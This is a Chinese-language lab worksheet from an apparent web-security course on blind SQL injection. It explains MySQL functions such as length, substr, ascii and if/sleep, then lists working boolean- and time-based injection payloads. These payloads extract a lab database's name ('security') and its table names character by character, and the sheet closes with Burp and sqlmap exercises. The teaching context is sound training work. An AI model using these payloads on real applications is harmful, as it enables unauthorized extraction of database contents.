0x01简介
实验所属系列: SQL注入初级
相关课程及专业: web应用安全、网络攻击与对抗
预备知识
盲注,意味着页面不会显示SQL语句的错误,我们要通过一定的手段来判断构造的注入语句是否正确执行。有两种方式:布尔型和时间型。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行,时间型则是根据页面加载时间是否变化来判断的。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。如执行select
length(database())则会返回当前数据库名称的长度。而单独select
database()则回返回当前数据库的名称。
substr(str, pos, len):从pos位置取出str字符串的len个字符。如
select substring(‘abcde’, 4, 2)则返回de,pos为负则倒数pos个位置,如select substring(‘abcde’, -4, 2);返回bc。
ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。如select ASCII(‘a’)返回97。
将上面几个函数组合一下就有布尔值出现。如
Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>。
if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。如 select if ((select database())=’secur’,sleep(10),null)即为判断当当前数据库的名字为secur的时候,MySQL会休眠10秒。
MySQL的主要内置表和字段信息:
information_schema 库的 TABLES 表,主要字段分别是:
TABLE_SCHEMA : 数据库名
TABLE_NAME:表名
ASCII查询对照表:http://www.weste.net/tools/ASCII.asp
实验目的
1)学会盲注
实验环境
服务器:windows2003 ,IP地址:10.1.1.10
客户端:winXP,IP地址随机分配。
0x02实验步骤
实验步骤一
1.打开桌面上的火狐浏览器,在『POST注入-盲注』下找到『POST - 盲注 - 基于布尔/时间 - 单引号』,根据提示完成注入
2.关键代码为

3.请构造语句来猜出当前数据库的名称
数据库名称为security
1’ OR (ascii(substr((select database()) ,1,1)) = 115)#
1’ OR (ascii(substr((select database()) ,2,1)) = 101)#
1’ OR (ascii(substr((select database()) ,3,1)) = 99)#
1’ OR (ascii(substr((select database()) ,4,1)) = 117)#
1’ OR (ascii(substr((select database()) ,5,1)) = 114)#
1’ OR (ascii(substr((select database()) ,6,1)) = 105)#
1’ OR (ascii(substr((select database()) ,7,1)) = 116)#
1’ OR (ascii(substr((select database()) ,8,1)) = 121)#
解析:无他,只能手动猜,可以配合<>来设定范围
实验步骤二
1.打开桌面上的火狐浏览器,在『POST注入-盲注』下找到『POST - 盲注 - 基于布尔/时间 - 双引号』,根据提示完成注入
2.关键代码为

3.请构造语句来猜出当前数据库中任意一个表的名字
解析:1”) OR if ((select database()=”security”), sleep(10), null);已知当前库名为security,用此语句得知,存在基于时间的盲注漏洞。
表名有emails,
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,1,1))=101) , sleep(3), null)#
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,2,1))=109) , sleep(3), null)#
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,3,1))=97) , sleep(3), null)#
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,4,1))=105) , sleep(3), null)#
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,5,1))=108) , sleep(3), null)#
1”) OR if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,6,1))=115) , sleep(3), null)#
另外三个表是referers、uagents、users
0x03分析与思考
1)请使用burp进行注入测试。
2)请使用sqlmap进行自动注入,并且用burp分析sqlmap的测试语句
3)请努力获取更多信息,如操作系统信息,mysql版本等。


